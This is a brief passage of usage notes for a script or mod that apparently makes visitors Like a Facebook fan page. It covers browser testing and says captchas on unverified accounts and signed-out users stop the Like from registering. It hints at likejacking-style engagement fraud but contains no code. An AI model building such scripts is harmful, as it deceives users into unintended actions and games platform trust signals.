Replace FANID with your fan page's ID
Tested this mod on Chrome/Firefox. I have no idea if it works in IE.)

A few things to watch out for:
Fan page boxes pop up with a "VERIFICATION REQUIRED" captcha on non-PVA and
"untrusted" accounts. Because of the nature of the script, this
disables the Like from going through. Also, if a user is signed out,
similar behavior will occur in which the user will be asked to login to
Facebook first.
